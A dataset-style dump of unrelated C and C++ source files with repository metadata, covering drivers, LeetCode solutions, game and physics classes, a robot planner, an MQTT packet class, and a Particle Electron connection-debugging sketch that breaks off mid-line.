null
null
null
kernel/include/drivers/keyboard.hpp
cekkr/thor-os
841b088eddc378ef38c98878a51958479dce4a31
[ "MIT" ]
null
null
null
//======================================================================= // Copyright Baptiste Wicht 2013-2016. // Distributed under the terms of the MIT License. // (See accompanying file LICENSE or copy at // http://www.opensource.org/licenses/MIT) //======================================================================= #ifndef KEYBOARD_H #define KEYBOARD_H #include <types.hpp> #include <tlib/keycode.hpp> namespace keyboard { const char KEY_ENTER = 0x1C; const char KEY_BACKSPACE = 0x0E; const char KEY_UP = 0x48; const char KEY_DOWN = 0x50; const char KEY_LEFT_SHIFT = 0x2A; const char KEY_RIGHT_SHIFT = 0x36; const char KEY_LEFT_CTRL = 0x1D; const char KEY_ALT = 56; const char KEY_F1 = 59; const char KEY_F2 = 60; const char KEY_F3 = 61; /*! * \brief Install the keyboard driver */ void install_driver(); char key_to_ascii(uint8_t key); char shift_key_to_ascii(uint8_t key); std::keycode raw_key_to_keycode(uint8_t key); } #endif
24.190476
73
0.595472
cekkr
633808dcce20847ba8fd62a4f0c0ce7da0ed66d4
782
cpp
C++
leetcode/10. Regular Expression Matching/s1.cpp
zhuohuwu0603/leetcode_cpp_lzl124631x
6a579328810ef4651de00fde0505934d3028d9c7
[ "Fair" ]
787
2017-05-12T05:19:57.000Z
2022-03-30T12:19:52.000Z
leetcode/10. Regular Expression Matching/s1.cpp
aerlokesh494/LeetCode
0f2cbb28d5a9825b51a8d3b3a0ae0c30d7ff155f
[ "Fair" ]
8
2020-03-16T05:55:38.000Z
2022-03-09T17:19:17.000Z
leetcode/10. Regular Expression Matching/s1.cpp
aerlokesh494/LeetCode
0f2cbb28d5a9825b51a8d3b3a0ae0c30d7ff155f
[ "Fair" ]
247
2017-04-30T15:07:50.000Z
2022-03-30T09:58:57.000Z
// OJ: https://leetcode.com/problems/regular-expression-matching/ // Author: github.com/lzl124631x // Time: O(MN) // Space: O(M) class Solution { private: inline bool matchChar(string &s, int i, string &p, int j) { return p[j] == '.' ? i < s.size() : s[i] == p[j]; } bool isMatch(string s, int i, string p, int j) { if (j == p.size()) return i == s.size(); if (j + 1 < p.size() && p[j + 1] == '*') { bool ans = false; while (!(ans = isMatch(s, i, p, j + 2)) && matchChar(s, i, p, j)) ++i; return ans; } else { return matchChar(s, i, p, j) && isMatch(s, i + 1, p, j + 1); } } public: bool isMatch(string s, string p) { return isMatch(s, 0, p, 0); } };
31.28
72
0.476982
zhuohuwu0603
633c04ed4e617290e48ba5c457a40df08baba7ed
821
hpp
C++
Solution/Header/ObjectSystem/Collision/BoxComponent.hpp
TeeNik/GameEngine
9a3893455f20e14f967e5df9b2168fa0f004c101
[ "MIT" ]
null
null
null
Solution/Header/ObjectSystem/Collision/BoxComponent.hpp
TeeNik/GameEngine
9a3893455f20e14f967e5df9b2168fa0f004c101
[ "MIT" ]
null
null
null
Solution/Header/ObjectSystem/Collision/BoxComponent.hpp
TeeNik/GameEngine
9a3893455f20e14f967e5df9b2168fa0f004c101
[ "MIT" ]
null
null
null
#pragma once #include "ObjectSystem/Component.hpp" #include "Physics/Collision.hpp" class Actor; enum CollisionObjectType { Static, Dynamic, }; class BoxComponent : public Component { public: BoxComponent(Actor* owner); virtual ~BoxComponent(); virtual void Update(float deltaTime) override; inline void SetObjectBox(const AABB& model) { objectBox = model; } inline const AABB& GetWorldBox() const { return worldBox; } inline const CollisionObjectType GetObjectType() const { return objectType; } inline void SetObjectType(const CollisionObjectType type) { objectType = type; } Vector3 NextPos; AABB GetNextBox() { AABB next = objectBox; next.min += NextPos; next.max += NextPos; return next; }; private: CollisionObjectType objectType; AABB objectBox; AABB worldBox; bool shouldRotate; };
20.525
81
0.749086
TeeNik
633ca2a14390a0554b23040ab9ab1da678e1b68b
3,419
cpp
C++
Experiment1/main.cpp
luciochen233/CSE398-Group-6
8479db088bb09695b7da1725637918706b7bac4d
[ "Unlicense" ]
null
null
null
Experiment1/main.cpp
luciochen233/CSE398-Group-6
8479db088bb09695b7da1725637918706b7bac4d
[ "Unlicense" ]
null
null
null
Experiment1/main.cpp
luciochen233/CSE398-Group-6
8479db088bb09695b7da1725637918706b7bac4d
[ "Unlicense" ]
1
2020-03-02T22:11:45.000Z
2020-03-02T22:11:45.000Z
#include "gpio.h" #include "pwm.h" #include "adc.h" #include <thread> #include <chrono> using namespace std; void task1(){ gpio g67(67); gpio g66(66); cout << "66's value" << endl; int p66 = 0; cin >> p66; g66.set_direction(0); // 0 is out g66.set_value(p66); cin.get(); cin.get(); cout << "change 66's direction to input" << endl; g66.set_direction(1); cout << "hit enter when ready" << endl; cin.get(); cin.get(); cout << "the value for port 66 is : " << g66.get_value() << endl; } void task2(){ gpio g66(66); g66.set_direction(0); while(1){ g66.set_value(1); g66.set_value(0); } } void old_main(){ pwm pwm0(0); cout << "duty_cycle " << pwm0.get_duty_cycle() << endl; cout << "enable " << pwm0.get_enable() << endl; cout << "period " << pwm0.get_period() << endl; cout << "polarity " << pwm0.get_polarity() << endl; while(1){ pwm0.set_duty_cycle(200000); std::this_thread::sleep_for (std::chrono::seconds(1)); pwm0.set_duty_cycle(400000); std::this_thread::sleep_for (std::chrono::seconds(1)); pwm0.set_duty_cycle(600000); std::this_thread::sleep_for (std::chrono::seconds(1)); pwm0.set_duty_cycle(800000); std::this_thread::sleep_for (std::chrono::seconds(1)); pwm0.set_duty_cycle(1000000); std::this_thread::sleep_for (std::chrono::seconds(1)); } } void task3(){ adc adc1(0); adc1.get_value(); cout<<"the voltage is: " << adc1.get_value() << endl; } // void switch_color(int opacity){ // pwm pwm0(0); // pwm pwm1(1); // pwm1.set_enable(0); // pwm pwm2(2); // pwm2.set_enable(0); // pwm0.set_duty_cycle((double)knob/4096*1000000); // pwm1.set_duty_cycle((double)knob/4096*1000000); // pwm2.set_duty_cycle((double)knob/4096*1000000); // //std::this_thread::sleep_for (std::chrono::seconds(1)); // cout << "0duty_cycle " << pwm0.get_duty_cycle() << endl; // cout << "enable " << pwm0.get_enable() << endl; // cout << "1duty_cycle " << pwm1.get_duty_cycle() << endl; // cout << "enable " << pwm1.get_enable() << endl; // cout << "2duty_cycle " << pwm2.get_duty_cycle() << endl; // cout << "enable " << pwm2.get_enable() << endl; // } int main() { adc adc1(0); gpio g73(73); g73.set_direction(1); pwm pwm0(0); pwm pwm1(1); pwm pwm2(2); int color = 0; int press = 0; int counter = 0; while(1){ int knob = adc1.get_value(); //cout << knob << endl; if(g73.get_value() == 1 && press == 0){ press = 1; switch(color){ case 0: pwm0.set_enable(1); pwm1.set_enable(0); pwm2.set_enable(0); color = 1; break; case 1: pwm0.set_enable(0); pwm1.set_enable(1); pwm2.set_enable(0); color = 2; break; case 2: pwm0.set_enable(0); pwm1.set_enable(0); pwm2.set_enable(1); color = 0; break; } cout << "push" << endl; } else if (g73.get_value() == 0){ press = 0; } pwm0.set_duty_cycle((double)knob/4096*1000000); pwm1.set_duty_cycle((double)knob/4096*1000000); pwm2.set_duty_cycle((double)knob/4096*1000000); cout << "0duty_cycle " << pwm0.get_duty_cycle() << endl; cout << "enable " << pwm0.get_enable() << endl; cout << "1duty_cycle " << pwm1.get_duty_cycle() << endl; cout << "enable " << pwm1.get_enable() << endl; cout << "2duty_cycle " << pwm2.get_duty_cycle() << endl; cout << "enable " << pwm2.get_enable() << endl; cout << g73.get_value() << endl; cout << counter++ << endl; std::this_thread::sleep_for (std::chrono::seconds(1)); } return 0; }
24.775362
89
0.621819
luciochen233
633cb6452ddf54e3861f7c63f6eff88acf1e0d91
2,701
hh
C++
PacEmc/PacEmcDigi.hh
brownd1978/FastSim
05f590d72d8e7f71856fd833114a38b84fc7fd48
[ "Apache-2.0" ]
null
null
null
PacEmc/PacEmcDigi.hh
brownd1978/FastSim
05f590d72d8e7f71856fd833114a38b84fc7fd48
[ "Apache-2.0" ]
null
null
null
PacEmc/PacEmcDigi.hh
brownd1978/FastSim
05f590d72d8e7f71856fd833114a38b84fc7fd48
[ "Apache-2.0" ]
null
null
null
#ifndef PACEMCDIGI_HH #define PACEMCDIGI_HH #include <iostream> #include "AbsEnv/TwoCoordIndex.hh" #include "CLHEP/Geometry/HepPoint.h" #include <map> class GTrack; typedef std::map<const GTrack*, double> GTDouble ; class PacEmcDigi { public: enum WaveFormTime {InSigWin=0,OutOfSigWin}; PacEmcDigi(); PacEmcDigi(const PacEmcDigi& other); PacEmcDigi(double energy, const TwoCoordIndex& tci); PacEmcDigi(double energy, const long tciIndex); virtual ~PacEmcDigi(); virtual PacEmcDigi *clone() const; virtual bool operator==(const PacEmcDigi & otherDigi) const; virtual bool operator!=(const PacEmcDigi & otherDigi) const; virtual void operator+=(const PacEmcDigi & otherDigi); // virtual void operator*=(double x) { _energy*= x;} virtual void scale(double x) { _energy*= x; } virtual void scalesim(double x) { _simenergy*= x; } virtual const long tciIndex() const { return _tciIndex; } virtual const TwoCoordIndex* tci() const; virtual long theta() const {return _thetaIdx;} virtual long phi() const {return _phiIdx;} virtual double thetaReal() const {return _thetaReal;} virtual double phiReal() const {return _phiReal;} virtual double deltaTheta() const {return _deltaTheta; }; virtual double deltaPhi() const {return _deltaPhi; }; virtual const HepPoint & where() const; virtual const HepPoint & whereLocal() const; virtual double energy() const {return _energy;} virtual void setEnergy(double x) {_energy = x; } virtual void addEnergy(double x) {_energy += x; } virtual double simenergy() const {return _simenergy;} virtual void setSimEnergy(double x) {_simenergy = x; } virtual void addSimEnergy(double x) {_simenergy += x; } virtual void print( std::ostream& o ) const; virtual const GTDouble* gtrkWeights() const { return &_gtrkWeights; } virtual void addGTrackWeight(const GTrack *gtrk, const double weight); virtual const double waveFormPeakE() const { return _waveFormPeakE; } virtual const WaveFormTime waveFormInTime() const { return _wtime;} virtual void setWaveFormPeakE(double x) { _waveFormPeakE=x; } virtual void setWaveFormInTime(WaveFormTime x) { _wtime=x; } private: // Data members double _energy; double _simenergy; long _tciIndex, _thetaIdx, _phiIdx; double _thetaReal, _phiReal; double _deltaTheta, _deltaPhi; HepPoint _where, _whereLocal; GTDouble _gtrkWeights; double _waveFormPeakE; WaveFormTime _wtime; void init(); public: // Selectors (const) static double getRescaleFactor(){ return _rescaleFactor; }; static double getPositionDepth(){ return _positionDepth; }; private: static double _rescaleFactor; static double _positionDepth; }; #endif
30.011111
72
0.737505
brownd1978
633d417cadbfc601e51efbd2fef82a59faf884ec
2,728
cpp
C++
Src/Math/vector3.cpp
bouzi71/STM32LedCube
65a67e310789c21648115bd119ab56d1bc9c703d
[ "Apache-2.0" ]
1
2020-12-20T17:00:58.000Z
2020-12-20T17:00:58.000Z
Src/Math/vector3.cpp
bouzi71/STM32LedCube
65a67e310789c21648115bd119ab56d1bc9c703d
[ "Apache-2.0" ]
null
null
null
Src/Math/vector3.cpp
bouzi71/STM32LedCube
65a67e310789c21648115bd119ab56d1bc9c703d
[ "Apache-2.0" ]
null
null
null
// General #include "vector3.h" // Additional #include "matrix3x3.h" #include "matrix4x4.h" #include <cmath> /** Transformation of a vector by a 3x3 matrix */ Vector3 operator*(const Matrix3& pMatrix, const Vector3& pVector) { Vector3 res; res.x = pMatrix.a1 * pVector.x + pMatrix.a2 * pVector.y + pMatrix.a3 * pVector.z; res.y = pMatrix.b1 * pVector.x + pMatrix.b2 * pVector.y + pMatrix.b3 * pVector.z; res.z = pMatrix.c1 * pVector.x + pMatrix.c2 * pVector.y + pMatrix.c3 * pVector.z; return res; } /** Transformation of a vector by a 4x4 matrix */ Vector3 operator* (const Matrix4& pMatrix, const Vector3& pVector) { Vector3 res; res.x = pMatrix.a1 * pVector.x + pMatrix.a2 * pVector.y + pMatrix.a3 * pVector.z + pMatrix.a4; res.y = pMatrix.b1 * pVector.x + pMatrix.b2 * pVector.y + pMatrix.b3 * pVector.z + pMatrix.b4; res.z = pMatrix.c1 * pVector.x + pMatrix.c2 * pVector.y + pMatrix.c3 * pVector.z + pMatrix.c4; return res; } // // Operators // const Vector3& Vector3::operator+= (const Vector3& o) { x += o.x; y += o.y; z += o.z; return *this; } const Vector3& Vector3::operator-= (const Vector3& o) { x -= o.x; y -= o.y; z -= o.z; return *this; } const Vector3& Vector3::operator*= (float f) { x *= f; y *= f; z *= f; return *this; } const Vector3& Vector3::operator/= (float f) { x /= f; y /= f; z /= f; return *this; } Vector3& Vector3::operator*= (const Matrix3& mat) { return (*this = mat * (*this)); } Vector3& Vector3::operator *= (const Matrix4& mat) { return(*this = mat * (*this)); } float Vector3::operator[](unsigned int i) const { return *(&x + i); } float& Vector3::operator[](unsigned int i) { return *(&x + i); } bool Vector3::operator== (const Vector3& other) const { return x == other.x && y == other.y && z == other.z; } bool Vector3::operator!= (const Vector3& other) const { return x != other.x || y != other.y || z != other.z; } bool Vector3::operator < (const Vector3& other) const { return x != other.x ? x < other.x : y != other.y ? y < other.y : z < other.z; } bool Vector3::Equal(const Vector3& other, float epsilon) const { return std::abs(x - other.x) <= epsilon && std::abs(y - other.y) <= epsilon && std::abs(z - other.z) <= epsilon; } // // Public // void Vector3::Set(float pX, float pY, float pZ) { x = pX; y = pY; z = pZ; } float Vector3::SquareLength() const { return x*x + y*y + z*z; } float Vector3::Length() const { return std::sqrt(SquareLength()); } Vector3& Vector3::Normalize() { *this /= Length(); return *this; } Vector3& Vector3::NormalizeSafe() { float len = Length(); if(len > 0.0f) *this /= len; return *this; } const Vector3 Vector3::SymMul(const Vector3& o) { return Vector3(x*o.x, y*o.y, z*o.z); }
19.076923
95
0.626466
bouzi71
6341a2d9edfd9ca8656087b62b67d4027c5a75d4
9,841
cpp
C++
orca_base/src/planner.cpp
pankhurivanjani/orca2
03c0b510a1750371d2080b0497ff3e402234cf94
[ "BSD-3-Clause" ]
null
null
null
orca_base/src/planner.cpp
pankhurivanjani/orca2
03c0b510a1750371d2080b0497ff3e402234cf94
[ "BSD-3-Clause" ]
null
null
null
orca_base/src/planner.cpp
pankhurivanjani/orca2
03c0b510a1750371d2080b0497ff3e402234cf94
[ "BSD-3-Clause" ]
null
null
null
#include "orca_base/planner.hpp" #include <random> using namespace orca; namespace orca_base { constexpr double MAX_POSE_ERROR = 0.6; //===================================================================================== // Utilities //===================================================================================== geometry_msgs::msg::Pose map_to_world(const geometry_msgs::msg::Pose &marker_f_map) { // Rotation from vlam map frame to ROS world frame const static tf2::Quaternion t_world_map(0, 0, -sqrt(0.5), sqrt(0.5)); tf2::Quaternion t_map_marker(marker_f_map.orientation.x, marker_f_map.orientation.y, marker_f_map.orientation.z, marker_f_map.orientation.w); tf2::Quaternion t_world_marker = t_world_map * t_map_marker; geometry_msgs::msg::Pose marker_f_world = marker_f_map; marker_f_world.orientation.x = t_world_marker.x(); marker_f_world.orientation.y = t_world_marker.y(); marker_f_world.orientation.z = t_world_marker.z(); marker_f_world.orientation.w = t_world_marker.w(); return marker_f_world; } //===================================================================================== // PlannerBase //===================================================================================== void PlannerBase::add_keep_station_segment(Pose &plan, double seconds) { segments_.push_back(std::make_shared<Pause>(logger_, cxt_, plan, seconds)); controllers_.push_back(std::make_shared<SimpleController>(cxt_)); } void PlannerBase::add_vertical_segment(Pose &plan, double z) { Pose goal = plan; goal.z = z; if (plan.distance_z(goal) > EPSILON_PLAN_XYZ) { segments_.push_back(std::make_shared<VerticalSegment>(logger_, cxt_, plan, goal)); controllers_.push_back(std::make_shared<SimpleController>(cxt_)); } else { RCLCPP_INFO(logger_, "skip vertical"); } plan = goal; } void PlannerBase::add_rotate_segment(Pose &plan, double yaw) { Pose goal = plan; goal.yaw = yaw; if (plan.distance_yaw(goal) > EPSILON_PLAN_YAW) { segments_.push_back(std::make_shared<RotateSegment>(logger_, cxt_, plan, goal)); controllers_.push_back(std::make_shared<SimpleController>(cxt_)); } else { RCLCPP_INFO(logger_, "skip rotate"); } plan = goal; } void PlannerBase::add_line_segment(Pose &plan, double x, double y) { Pose goal = plan; goal.x = x; goal.y = y; if (plan.distance_xy(goal) > EPSILON_PLAN_XYZ) { segments_.push_back(std::make_shared<LineSegment>(logger_, cxt_, plan, goal)); controllers_.push_back(std::make_shared<SimpleController>(cxt_)); } else { RCLCPP_INFO(logger_, "skip line"); } plan = goal; } void PlannerBase::plan_trajectory(const PoseStamped &start) { RCLCPP_INFO(logger_, "plan trajectory to (%g, %g, %g), %g", targets_[target_idx_].x, targets_[target_idx_].y, targets_[target_idx_].z, targets_[target_idx_].yaw); // Generate a series of waypoints to minimize dead reckoning std::vector<Pose> waypoints; if (!map_.get_waypoints(start.pose, targets_[target_idx_], waypoints)) { RCLCPP_ERROR(logger_, "feeling lucky"); waypoints.push_back(targets_[target_idx_]); } // Plan trajectory through the waypoints plan_trajectory(waypoints, start); } void PlannerBase::plan_trajectory(const std::vector<Pose> &waypoints, const PoseStamped &start) { RCLCPP_INFO(logger_, "plan trajectory through %d waypoint(s):", waypoints.size() - 1); for (auto waypoint : waypoints) { RCLCPP_INFO_STREAM(logger_, waypoint); } // Clear existing segments segments_.clear(); controllers_.clear(); segment_idx_ = 0; // Start pose Pose plan = start.pose; // Travel to each waypoint, breaking down z, yaw and xy phases for (auto &waypoint : waypoints) { // Ascend/descend to target z add_vertical_segment(plan, waypoint.z); if (plan.distance_xy(waypoint.x, waypoint.y) > EPSILON_PLAN_XYZ) { // Point in the direction of travel add_rotate_segment(plan, atan2(waypoint.y - plan.y, waypoint.x - plan.x)); // Travel add_line_segment(plan, waypoint.x, waypoint.y); } else { RCLCPP_DEBUG(logger_, "skip travel"); } } // Always rotate to the target yaw add_rotate_segment(plan, targets_[target_idx_].yaw); // Keep station at the last target if (keep_station_ && target_idx_ == targets_.size() - 1) { add_keep_station_segment(plan, 1e6); } // Create a path for diagnostics if (!segments_.empty()) { planned_path_.header.stamp = start.t; planned_path_.header.frame_id = cxt_.map_frame_; planned_path_.poses.clear(); geometry_msgs::msg::PoseStamped pose_msg; pose_msg.header.stamp = start.t; for (auto &i : segments_) { planned_path_.header.frame_id = cxt_.map_frame_; i->plan().to_msg(pose_msg.pose); planned_path_.poses.push_back(pose_msg); } // Add last goal pose segments_.back()->goal().to_msg(pose_msg.pose); planned_path_.poses.push_back(pose_msg); } assert(!segments_.empty()); RCLCPP_INFO(logger_, "segment 1 of %d", segments_.size()); segments_[0]->log_info(); } int PlannerBase::advance(double dt, Pose &plan, const nav_msgs::msg::Odometry &estimate, Acceleration &u_bar, const std::function<void(double completed, double total)> &send_feedback) { PoseStamped current_pose; current_pose.from_msg(estimate); if (segments_.empty()) { if (full_pose(estimate)) { // Generate a trajectory to the first target RCLCPP_INFO(logger_, "bootstrap plan"); plan_trajectory(current_pose); } else { RCLCPP_ERROR(logger_, "unknown pose, can't bootstrap"); return AdvanceRC::FAILURE; } } Acceleration ff; if (segments_[segment_idx_]->advance(dt)) { // Advance the current motion segment plan = segments_[segment_idx_]->plan(); ff = segments_[segment_idx_]->ff(); } else if (++segment_idx_ < segments_.size()) { // The segment is done, move to the next segment RCLCPP_INFO(logger_, "segment %d of %d", segment_idx_ + 1, segments_.size()); segments_[segment_idx_]->log_info(); plan = segments_[segment_idx_]->plan(); ff = segments_[segment_idx_]->ff(); } else if (++target_idx_ < targets_.size()) { // Current trajectory complete, move to the next target RCLCPP_INFO(logger_, "target %d of %d", target_idx_ + 1, targets_.size()); send_feedback(target_idx_, targets_.size()); if (full_pose(estimate)) { // Start from known location plan_trajectory(current_pose); RCLCPP_INFO(logger_, "planning for next target from known pose"); } else { // Plan a trajectory as if the AUV is at the previous target (it probably isn't) // Future: run through recovery actions to find a good pose RCLCPP_WARN(logger_, "didn't find target, planning for next target anyway"); PoseStamped plan_stamped; plan_stamped.pose = targets_[target_idx_ - 1]; plan_stamped.t = estimate.header.stamp; plan_trajectory(plan_stamped); } plan = segments_[segment_idx_]->plan(); ff = segments_[segment_idx_]->ff(); } else { return AdvanceRC::SUCCESS; } // Compute acceleration controllers_[segment_idx_]->calc(cxt_, dt, plan, estimate, ff, u_bar); // If error is > MAX_POSE_ERROR, then replan if (full_pose(estimate) && current_pose.pose.distance_xy(plan) > MAX_POSE_ERROR) { RCLCPP_WARN(logger_, "off by %g meters, replan to existing target", current_pose.pose.distance_xy(plan)); plan_trajectory(current_pose); } return AdvanceRC::CONTINUE; } //===================================================================================== // DownSequencePlanner //===================================================================================== DownSequencePlanner::DownSequencePlanner(const rclcpp::Logger &logger, const BaseContext &cxt, Map map, bool random) : PlannerBase{logger, cxt, std::move(map), true} { // Targets are directly above the markers for (const auto &pose : map_.vlam_map()->poses) { Pose target; target.from_msg(pose.pose); target.z = cxt_.auv_z_target_; targets_.push_back(target); } if (random) { // Shuffle targets std::random_device rd; std::mt19937 g(rd()); std::shuffle(targets_.begin(), targets_.end(), g); } } //===================================================================================== // ForwardSequencePlanner //===================================================================================== ForwardSequencePlanner::ForwardSequencePlanner(const rclcpp::Logger &logger, const BaseContext &cxt, Map map, bool random) : PlannerBase{logger, cxt, std::move(map), false} { // Targets are directly in front of the markers for (const auto &pose : map_.vlam_map()->poses) { geometry_msgs::msg::Pose marker_f_world = map_to_world(pose.pose); Pose target; target.from_msg(marker_f_world); target.x += cos(target.yaw) * cxt_.auv_xy_distance_; target.y += sin(target.yaw) * cxt_.auv_xy_distance_; target.z = cxt_.auv_z_target_; targets_.push_back(target); } if (random) { // Shuffle targets std::random_device rd; std::mt19937 g(rd()); std::shuffle(targets_.begin(), targets_.end(), g); } } } // namespace orca_base
34.170139
118
0.606747
pankhurivanjani
6344f5114936fb774498a1e1350d60f948ea9976
357
cpp
C++
solutions/1426.find-n-unique-integers-sum-up-to-zero/1426.find-n-unique-integers-sum-up-to-zero.1577586729.cpp
nettee/leetcode
19aa8d54d64cce3679db5878ee0194fad95d8fa1
[ "MIT" ]
1
2021-01-14T06:01:02.000Z
2021-01-14T06:01:02.000Z
solutions/1426.find-n-unique-integers-sum-up-to-zero/1426.find-n-unique-integers-sum-up-to-zero.1577586729.cpp
nettee/leetcode
19aa8d54d64cce3679db5878ee0194fad95d8fa1
[ "MIT" ]
8
2018-03-27T11:47:19.000Z
2018-11-12T06:02:12.000Z
solutions/1426.find-n-unique-integers-sum-up-to-zero/1426.find-n-unique-integers-sum-up-to-zero.1577586729.cpp
nettee/leetcode
19aa8d54d64cce3679db5878ee0194fad95d8fa1
[ "MIT" ]
2
2020-04-30T09:47:01.000Z
2020-12-03T09:34:08.000Z
class Solution { public: vector<int> sumZero(int n) { if (n <= 0) { return vector<int>{0}; } vector<int> res; for (int i = 1; i <= n/2; i++) { res.push_back(i); res.push_back(-i); } if (n % 2 == 1) { res.push_back(0); } return res; } };
19.833333
40
0.380952
nettee
634607ba522912fc030e6693f82ecb6a7399b7ee
680
cpp
C++
src/AsyncMqttClient/Packets/Out/PubAck.cpp
sander1988/async-mqtt-client
89bf46485d5b60ce1e8e5e4d265a9c1570de3dc5
[ "MIT" ]
697
2016-05-11T18:57:19.000Z
2022-03-28T11:06:16.000Z
src/AsyncMqttClient/Packets/Out/PubAck.cpp
crosaalive/async-mqtt-client
89bf46485d5b60ce1e8e5e4d265a9c1570de3dc5
[ "MIT" ]
259
2016-05-11T19:07:55.000Z
2022-03-14T12:51:14.000Z
src/AsyncMqttClient/Packets/Out/PubAck.cpp
crosaalive/async-mqtt-client
89bf46485d5b60ce1e8e5e4d265a9c1570de3dc5
[ "MIT" ]
256
2016-05-15T11:05:26.000Z
2022-03-18T13:25:59.000Z
#include "PubAck.hpp" using AsyncMqttClientInternals::PubAckOutPacket; PubAckOutPacket::PubAckOutPacket(PendingAck pendingAck) { _data[0] = pendingAck.packetType; _data[0] = _data[0] << 4; _data[0] = _data[0] | pendingAck.headerFlag; _data[1] = 2; _packetId = pendingAck.packetId; _data[2] = pendingAck.packetId >> 8; _data[3] = pendingAck.packetId & 0xFF; if (packetType() == AsyncMqttClientInternals::PacketType.PUBREL || packetType() == AsyncMqttClientInternals::PacketType.PUBREC) { _released = false; } } const uint8_t* PubAckOutPacket::data(size_t index) const { return &_data[index]; } size_t PubAckOutPacket::size() const { return 4; }
26.153846
68
0.711765
sander1988
63495b3d4f22716799f03146d219763bfaacc140
18,237
cpp
C++
firmware/electron/firmware/Debugging.cpp
opyh/liftsensor
0f2b8d284ba4f25d464db80840537e41d6603483
[ "MIT" ]
2
2017-04-21T20:27:43.000Z
2018-07-10T08:48:12.000Z
firmware/electron/firmware/Debugging.cpp
opyh/liftsensor
0f2b8d284ba4f25d464db80840537e41d6603483
[ "MIT" ]
null
null
null
firmware/electron/firmware/Debugging.cpp
opyh/liftsensor
0f2b8d284ba4f25d464db80840537e41d6603483
[ "MIT" ]
null
null
null
// MIT License // // Copyright (c) 2016 rickkas7 // // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. // Electron Sample Application for fault tolerance and problem debugging techniques // Requires system firmware 0.5.0 or later! // // Original code location: // https://github.com/rickkas7/electronsample #include "Particle.h" // If you are using a 3rd party SIM card, put your APN here. See also // the call to Particle.keepAlive in setup() // STARTUP(cellular_credentials_set("YOUR_APN_GOES_HERE", "", "", NULL)); // We use retained memory keep track of connection events; these are saved and later uploaded // to the cloud even after rebooting STARTUP(System.enableFeature(FEATURE_RETAINED_MEMORY)); // System threaded mode is not required here, but it's a good idea with 0.5.0 and later. // https://docs.particle.io/reference/firmware/electron/#system-thread SYSTEM_THREAD(ENABLED); // SEMI_AUTOMATIC mode or system thread enabled is required here, otherwise we can't // detect a failure to connect // https://docs.particle.io/reference/firmware/electron/#semi-automatic-mode SYSTEM_MODE(SEMI_AUTOMATIC); namespace Debugging { // Various settings for how long to wait before rebooting and so forth const unsigned long LISTEN_WAIT_FOR_REBOOT = 30000; // milliseconds, 0 = don't reboot on entering listening mode const unsigned long CLOUD_WAIT_FOR_REBOOT = 300000; // milliseconds, 0 = don't reboot const unsigned long PUBLISH_RATE_LIMIT = 1010; // milliseconds; to avoid sending events too rapidly const unsigned long PING_TIMEOUT = 180000; // milliseconds const unsigned long APP_WATCHDOG_TIMEOUT = 300000; // milliseconds const uint8_t NUM_REBOOTS_BEFORE_RESETTING_MODEM = 3; // const size_t MAX_TESTERFN_ARGS = 5; // Used to split out arguments to testerFn Particle.function const int SLEEP_TEST_PIN = D2; // Used for testing sleep with pin modes // This code is used to track connection events, used mainly for debugging // and making sure this code works properly. const size_t CONNECTION_EVENT_MAX = 32; // Maximum number of events to queue, 16 bytes each const unsigned long CONNECTION_EVENT_MAGIC = 0x5c39d415; // This is the event that's used to publish data to your event log. It's sent in PRIVATE mode. const char *CONNECTION_EVENT_NAME = "connEventStats"; // These are the defined event codes. Instead of a string, they're sent as an integer to make // the output more compact, saving retained memory and allowing more events to fit in a Particle.publish/ enum ConnectionEventCode { CONNECTION_EVENT_SETUP_STARTED = 0, // 0 CONNECTION_EVENT_CELLULAR_READY, // 1 CONNECTION_EVENT_CLOUD_CONNECTED, // 2 CONNECTION_EVENT_LISTENING_ENTERED, // 3 CONNECTION_EVENT_MODEM_RESET, // 4 CONNECTION_EVENT_REBOOT_LISTENING, // 5 CONNECTION_EVENT_REBOOT_NO_CLOUD, // 6 CONNECTION_EVENT_PING_DNS, // 7 CONNECTION_EVENT_PING_API, // 8 CONNECTION_EVENT_APP_WATCHDOG, // 9 CONNECTION_EVENT_TESTERFN_REBOOT, // 10 CONNECTION_EVENT_TESTERFN_APP_WATCHDOG, // 11 CONNECTION_EVENT_SLEEP // 12 }; // Data for each event is stored in this structure typedef struct { // 16 bytes per event unsigned long tsDate; unsigned long tsMillis; int eventCode; int data; } ConnectionEventInfo; // This structure is what's stored in retained memory typedef struct { unsigned long eventMagic; // CONNECTION_EVENT_MAGIC uint8_t numFailureReboots; uint8_t reserved3; uint8_t reserved2; uint8_t reserved1; size_t eventCount; ConnectionEventInfo events[CONNECTION_EVENT_MAX]; } ConnectionEventData; // This is where the retained memory is allocated. Currently 522 bytes. // There are checks in connectionEventSetup() to initialize it on first // use and if the format changes dramatically. retained ConnectionEventData connectionEventData; // This is used to slow down publishing of data to once every 1010 milliseconds to avoid // exceeding the publish rate limit. unsigned long connectionEventLastSent = 0; void connectionEventSetup(); // forward declaration void connectionEventLoop(); // forward declaration void connectionEventAdd(int eventCode, int data = 0); // forward declaration // This code is to handle keeping track of connection state and rebooting if necessary bool cloudConnectDebug(); // forward declaration void smartReboot(int reason, bool forceResetModem); // forward declaration void watchdogCallback(); // forward declaration int testerFnCallback(String arg); // forward declaration void testerFnLoopHandler(char *mutableData); // forward declaration bool isCellularReady = false; bool isCloudConnected = false; unsigned long listeningStart = 0; unsigned long cloudCheckStart = 0; char *testerFnLoopData = NULL; // Optional: Initialize the Application Watchdog. This runs as a separate thread so if you // block the main loop thread for more than APP_WATCHDOG_TIMEOUT milliseconds, the callback // will be called. This currently logs an event in retained memory then resets. // When the Electron reboots and comes back online, these events will be published. // https://docs.particle.io/reference/firmware/electron/#application-watchdog ApplicationWatchdog wd(APP_WATCHDOG_TIMEOUT, 